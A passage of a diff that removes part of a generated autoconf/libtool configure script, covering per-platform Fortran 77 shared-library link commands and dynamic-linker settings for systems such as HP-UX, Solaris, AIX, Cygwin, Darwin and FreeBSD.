- archive_cmds_F77='$CC -shared -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- hpux9*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- else
- archive_cmds_F77='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_direct_F77=yes
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
- ;;
-
- hpux10*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags'
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- fi
- ;;
-
- hpux11*)
- if test "$GCC" = yes -a "$with_gnu_ld" = no; then
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -shared ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- else
- case $host_cpu in
- hppa*64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- ia64*)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+nodefaultrpath -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- *)
- archive_cmds_F77='$CC -b ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags'
- ;;
- esac
- fi
- if test "$with_gnu_ld" = no; then
- hardcode_libdir_flag_spec_F77='${wl}+b ${wl}$libdir'
- hardcode_libdir_separator_F77=:
-
- case $host_cpu in
- hppa*64*|ia64*)
- hardcode_libdir_flag_spec_ld_F77='+b $libdir'
- hardcode_direct_F77=no
- hardcode_shlibpath_var_F77=no
- ;;
- *)
- hardcode_direct_F77=yes
- export_dynamic_flag_spec_F77='${wl}-E'
-
- # hardcode_minus_L: Not really in the search PATH,
- # but as the default location of the library.
- hardcode_minus_L_F77=yes
- ;;
- esac
- fi
- ;;
-
- irix5* | irix6* | nonstopux*)
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- archive_cmds_F77='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_ld_F77='-rpath $libdir'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- link_all_deplibs_F77=yes
- ;;
-
- netbsd*)
- if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out
- else
- archive_cmds_F77='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- newsos6)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- hardcode_shlibpath_var_F77=no
- ;;
-
- openbsd*)
- hardcode_direct_F77=yes
- hardcode_shlibpath_var_F77=no
- if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_F77='${wl}-E'
- else
- case $host_os in
- openbsd[01].* | openbsd2.[0-7] | openbsd2.[0-7].*)
- archive_cmds_F77='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-R$libdir'
- ;;
- *)
- archive_cmds_F77='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags'
- hardcode_libdir_flag_spec_F77='${wl}-rpath,$libdir'
- ;;
- esac
- fi
- ;;
-
- os2*)
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_minus_L_F77=yes
- allow_undefined_flag_F77=unsupported
- archive_cmds_F77='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def'
- old_archive_From_new_cmds_F77='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def'
- ;;
-
- osf3*)
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- fi
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- hardcode_libdir_separator_F77=:
- ;;
-
- osf4* | osf5*) # as osf3* with the addition of -msym flag
- if test "$GCC" = yes; then
- allow_undefined_flag_F77=' ${wl}-expect_unresolved ${wl}\*'
- archive_cmds_F77='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib'
- hardcode_libdir_flag_spec_F77='${wl}-rpath ${wl}$libdir'
- else
- allow_undefined_flag_F77=' -expect_unresolved \*'
- archive_cmds_F77='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib'
- archive_expsym_cmds_F77='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~
- $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib~$rm $lib.exp'
-
- # Both c and cxx compiler support -rpath directly
- hardcode_libdir_flag_spec_F77='-rpath $libdir'
- fi
- hardcode_libdir_separator_F77=:
- ;;
-
- solaris*)
- no_undefined_flag_F77=' -z text'
- if test "$GCC" = yes; then
- wlarc='${wl}'
- archive_cmds_F77='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp'
- else
- wlarc=''
- archive_cmds_F77='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags'
- archive_expsym_cmds_F77='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~
- $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp'
- fi
- hardcode_libdir_flag_spec_F77='-R$libdir'
- hardcode_shlibpath_var_F77=no
- case $host_os in
- solaris2.[0-5] | solaris2.[0-5].*) ;;
- *)
- # The compiler driver will combine linker options so we
- # cannot just pass the convience library names through
- # without $wl, iff we do not link with $LD.
- # Luckily, gcc supports the same syntax we need for Sun Studio.
- # Supported since Solaris 2.6 (maybe 2.5.1?)
- case $wlarc in
- '')
- whole_archive_flag_spec_F77='-z allextract$convenience -z defaultextract' ;;
- *)
- whole_archive_flag_spec_F77='${wl}-z ${wl}allextract`for conv in $convenience\"\"; do test -n \"$conv\" && new_convenience=\"$new_convenience,$conv\"; done; $echo \"$new_convenience\"` ${wl}-z ${wl}defaultextract' ;;
- esac ;;
- esac
- link_all_deplibs_F77=yes
- ;;
-
- sunos4*)
- if test "x$host_vendor" = xsequent; then
- # Use $CC to link under sequent, because it throws in some extra .o
- # files that make .init and .fini sections work.
- archive_cmds_F77='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags'
- fi
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_direct_F77=yes
- hardcode_minus_L_F77=yes
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4)
- case $host_vendor in
- sni)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=yes # is this really true???
- ;;
- siemens)
- ## LD is ld it makes a PLAMLIB
- ## CC just makes a GrossModule.
- archive_cmds_F77='$LD -G -o $lib $libobjs $deplibs $linker_flags'
- reload_cmds_F77='$CC -r -o $output$reload_objs'
- hardcode_direct_F77=no
- ;;
- motorola)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_direct_F77=no #Motorola manual says yes, but my tests say they lie
- ;;
- esac
- runpath_var='LD_RUN_PATH'
- hardcode_shlibpath_var_F77=no
- ;;
-
- sysv4.3*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- export_dynamic_flag_spec_F77='-Bexport'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_shlibpath_var_F77=no
- runpath_var=LD_RUN_PATH
- hardcode_runpath_var=yes
- ld_shlibs_F77=yes
- fi
- ;;
-
- sysv4*uw2* | sysv5OpenUNIX* | sysv5UnixWare7.[01].[10]* | unixware7*)
- no_undefined_flag_F77='${wl}-z,text'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- sysv5* | sco3.2v5* | sco5v6*)
- # Note: We can NOT use -z defs as we might desire, because we do not
- # link with -lc, and that would cause any symbols used from libc to
- # always be unresolved, which means just about no library would
- # ever link correctly. If we're not using GNU ld we use -z text
- # though, which does catch some bad symbols but isn't as heavy-handed
- # as -z defs.
- no_undefined_flag_F77='${wl}-z,text'
- allow_undefined_flag_F77='${wl}-z,nodefs'
- archive_cmds_need_lc_F77=no
- hardcode_shlibpath_var_F77=no
- hardcode_libdir_flag_spec_F77='`test -z "$SCOABSPATH" && echo ${wl}-R,$libdir`'
- hardcode_libdir_separator_F77=':'
- link_all_deplibs_F77=yes
- export_dynamic_flag_spec_F77='${wl}-Bexport'
- runpath_var='LD_RUN_PATH'
-
- if test "$GCC" = yes; then
- archive_cmds_F77='$CC -shared ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -shared ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- else
- archive_cmds_F77='$CC -G ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- archive_expsym_cmds_F77='$CC -G ${wl}-Bexport:$export_symbols ${wl}-h,\${SCOABSPATH:+${install_libdir}/}$soname -o $lib $libobjs $deplibs $compiler_flags'
- fi
- ;;
-
- uts4*)
- archive_cmds_F77='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags'
- hardcode_libdir_flag_spec_F77='-L$libdir'
- hardcode_shlibpath_var_F77=no
- ;;
-
- *)
- ld_shlibs_F77=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ld_shlibs_F77" >&5
-$as_echo "$ld_shlibs_F77" >&6; }
-test "$ld_shlibs_F77" = no && can_build_shared=no
-
-#
-# Do we need to explicitly link libc?
-#
-case "x$archive_cmds_need_lc_F77" in
-x|xyes)
- # Assume -lc should be added
- archive_cmds_need_lc_F77=yes
-
- if test "$enable_shared" = yes && test "$GCC" = yes; then
- case $archive_cmds_F77 in
- *'~'*)
- # FIXME: we may have to deal with multi-command sequences.
- ;;
- '$CC '*)
- # Test whether the compiler implicitly links with -lc since on some
- # systems, -lgcc has to come before -lc. If gcc already passes -lc
- # to ld, don't add -lc before -lgcc.
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking whether -lc should be explicitly linked in" >&5
-$as_echo_n "checking whether -lc should be explicitly linked in... " >&6; }
- $rm conftest*
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } 2>conftest.err; then
- soname=conftest
- lib=conftest
- libobjs=conftest.$ac_objext
- deplibs=
- wl=$lt_prog_compiler_wl_F77
- pic_flag=$lt_prog_compiler_pic_F77
- compiler_flags=-v
- linker_flags=-v
- verstring=
- output_objdir=.
- libname=conftest
- lt_save_allow_undefined_flag=$allow_undefined_flag_F77
- allow_undefined_flag_F77=
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\""; } >&5
- (eval $archive_cmds_F77 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
- then
- archive_cmds_need_lc_F77=no
- else
- archive_cmds_need_lc_F77=yes
- fi
- allow_undefined_flag_F77=$lt_save_allow_undefined_flag
- else
- cat conftest.err 1>&5
- fi
- $rm conftest*
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $archive_cmds_need_lc_F77" >&5
-$as_echo "$archive_cmds_need_lc_F77" >&6; }
- ;;
- esac
- fi
- ;;
-esac
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking dynamic linker characteristics" >&5
-$as_echo_n "checking dynamic linker characteristics... " >&6; }
-library_names_spec=
-libname_spec='lib$name'
-soname_spec=
-shrext_cmds=".so"
-postinstall_cmds=
-postuninstall_cmds=
-finish_cmds=
-finish_eval=
-shlibpath_var=
-shlibpath_overrides_runpath=unknown
-version_type=none
-dynamic_linker="$host_os ld.so"
-sys_lib_dlsearch_path_spec="/lib /usr/lib"
-if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then
- # if the path contains ";" then we assume it to be the separator
- # otherwise default to the standard path separator (i.e. ":") - it is
- # assumed that no part of a normal pathname contains ";" but that should
- # okay in the real world where ";" in dirpaths is itself problematic.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
-else
- sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib"
-fi
-need_lib_prefix=unknown
-hardcode_into_libs=no
-
-# when you set need_version to no, make sure it does not cause -set_version
-# flags to be left without arguments
-need_version=unknown
-
-case $host_os in
-aix3*)
- version_type=linux
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a'
- shlibpath_var=LIBPATH
-
- # AIX 3 has no versioning support, so we append a major version to the name.
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
-
-aix4* | aix5*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- hardcode_into_libs=yes
- if test "$host_cpu" = ia64; then
- # AIX 5 supports IA64
- library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}'
- shlibpath_var=LD_LIBRARY_PATH
- else
- # With GCC up to 2.95.x, collect2 would create an import file
- # for dependence libraries. The import file would start with
- # the line `#! .'. This would cause the generated library to
- # depend on `.', always an invalid library. This was fixed in
- # development snapshots of GCC prior to 3.0.
- case $host_os in
- aix4 | aix4.[01] | aix4.[01].*)
- if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)'
- echo ' yes '
- echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then
- :
- else
- can_build_shared=no
- fi
- ;;
- esac
- # AIX (on Power*) has no versioning support, so currently we can not hardcode correct
- # soname into executable. Probably we can add versioning support to
- # collect2, so additional links can be useful in future.
- if test "$aix_use_runtimelinking" = yes; then
- # If using run time linking (on AIX 4.2 or later) use lib<name>.so
- # instead of lib<name>.a to let people know that these are not
- # typical AIX shared libraries.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- else
- # We preserve .a as extension for shared libraries through AIX4.2
- # and later when we are not doing run time linking.
- library_names_spec='${libname}${release}.a $libname.a'
- soname_spec='${libname}${release}${shared_ext}$major'
- fi
- shlibpath_var=LIBPATH
- fi
- ;;
-
-amigaos*)
- library_names_spec='$libname.ixlibrary $libname.a'
- # Create ${libname}_ixlibrary.a entries in /sys/libs.
- finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done'
- ;;
-
-beos*)
- library_names_spec='${libname}${shared_ext}'
- dynamic_linker="$host_os ld.so"
- shlibpath_var=LIBRARY_PATH
- ;;
-
-bsdi[45]*)
- version_type=linux
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir'
- shlibpath_var=LD_LIBRARY_PATH
- sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib"
- sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib"
- # the default ld.so.conf also contains /usr/contrib/lib and
- # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow
- # libtool to hard-code these into programs
- ;;
-
-cygwin* | mingw* | pw32*)
- version_type=windows
- shrext_cmds=".dll"
- need_version=no
- need_lib_prefix=no
-
- case $GCC,$host_os in
- yes,cygwin* | yes,mingw* | yes,pw32*)
- library_names_spec='$libname.dll.a'
- # DLL is installed to $(libdir)/../bin by postinstall_cmds
- postinstall_cmds='base_file=`basename \${file}`~
- dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~
- dldir=$destdir/`dirname \$dlpath`~
- test -d \$dldir || mkdir -p \$dldir~
- $install_prog $dir/$dlname \$dldir/$dlname~
- chmod a+x \$dldir/$dlname'
- postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~
- dlpath=$dir/\$dldll~
- $rm \$dlpath'
- shlibpath_overrides_runpath=yes
-
- case $host_os in
- cygwin*)
- # Cygwin DLLs use 'cyg' prefix rather than 'lib'
- soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib"
- ;;
- mingw*)
- # MinGW DLLs use traditional 'lib' prefix
- soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"`
- if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then
- # It is most probably a Windows format PATH printed by
- # mingw gcc, but we are running on Cygwin. Gcc prints its search
- # path with ; separators, and with drive letters. We can handle the
- # drive letters (cygwin fileutils understands them), so leave them,
- # especially as we might pass files found there to a mingw objdump,
- # which wouldn't understand a cygwinified path. Ahh.
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'`
- else
- sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"`
- fi
- ;;
- pw32*)
- # pw32 DLLs use 'pw' prefix rather than 'lib'
- library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}'
- ;;
- esac
- ;;
-
- *)
- library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib'
- ;;
- esac
- dynamic_linker='Win32 ld.exe'
- # FIXME: first we should search . and the directory the executable is in
- shlibpath_var=PATH
- ;;
-
-darwin* | rhapsody*)
- dynamic_linker="$host_os dyld"
- version_type=darwin
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext'
- soname_spec='${libname}${release}${major}$shared_ext'
- shlibpath_overrides_runpath=yes
- shlibpath_var=DYLD_LIBRARY_PATH
- shrext_cmds='`test .$module = .yes && echo .so || echo .dylib`'
- # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same.
- if test "$GCC" = yes; then
- sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"`
- else
- sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib'
- fi
- sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib'
- ;;
-
-dgux*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- ;;
-
-freebsd1*)
- dynamic_linker=no
- ;;
-
-kfreebsd*-gnu)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- dynamic_linker='GNU ld.so'
- ;;
-
-freebsd* | dragonfly*)
- # DragonFly does not have aout. When/if they implement a new
- # versioning mechanism, adjust this.
- if test -x /usr/bin/objformat; then
- objformat=`/usr/bin/objformat`
- else
- case $host_os in
- freebsd[123]*) objformat=aout ;;
- *) objformat=elf ;;
- esac
- fi
- version_type=freebsd-$objformat
- case $version_type in
- freebsd-elf*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}'
- need_version=no
- need_lib_prefix=no
- ;;
- freebsd-*)
- library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix'
- need_version=yes
- ;;
- esac
- shlibpath_var=LD_LIBRARY_PATH
- case $host_os in
- freebsd2*)
- shlibpath_overrides_runpath=yes
- ;;
- freebsd3.[01]* | freebsdelf3.[01]*)
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- freebsd3.[2-9]* | freebsdelf3.[2-9]* | \
- freebsd4.[0-5] | freebsdelf4.[0-5] | freebsd4.1.1 | freebsdelf4.1.1)
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
- freebsd*) # from 4.6 on
- shlibpath_overrides_runpath=yes
- hardcode_into_libs=yes
- ;;
- esac
- ;;
-
-gnu*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- shlibpath_var=LD_LIBRARY_PATH
- hardcode_into_libs=yes
- ;;
-
-hpux9* | hpux10* | hpux11*)
- # Give a soname corresponding to the major version so that dld.sl refuses to
- # link against other versions.
- version_type=sunos
- need_lib_prefix=no
- need_version=no
- case $host_cpu in
- ia64*)
- shrext_cmds='.so'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.so"
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- if test "X$HPUX_IA64_MODE" = X32; then
- sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib"
- else
- sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64"
- fi
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- hppa*64*)
- shrext_cmds='.sl'
- hardcode_into_libs=yes
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH
- shlibpath_overrides_runpath=yes # Unless +noenvvar is specified.
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64"
- sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec
- ;;
- *)
- shrext_cmds='.sl'
- dynamic_linker="$host_os dld.sl"
- shlibpath_var=SHLIB_PATH
- shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- ;;
- esac
- # HP-UX runs *really* slowly unless shared libraries are mode 555.
- postinstall_cmds='chmod 555 $lib'
- ;;
-
-interix3*)
- version_type=linux
- need_lib_prefix=no
- need_version=no
- library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}'
- soname_spec='${libname}${release}${shared_ext}$major'
- dynamic_linker='Interix 3.x ld.so.1 (PE, like ELF)'
- shlibpath_var=LD_LIBRARY_PATH
- shlibpath_overrides_runpath=no
- hardcode_into_libs=yes
- ;;
-
-irix5* | irix6* | nonstopux*)
- case $host_os in
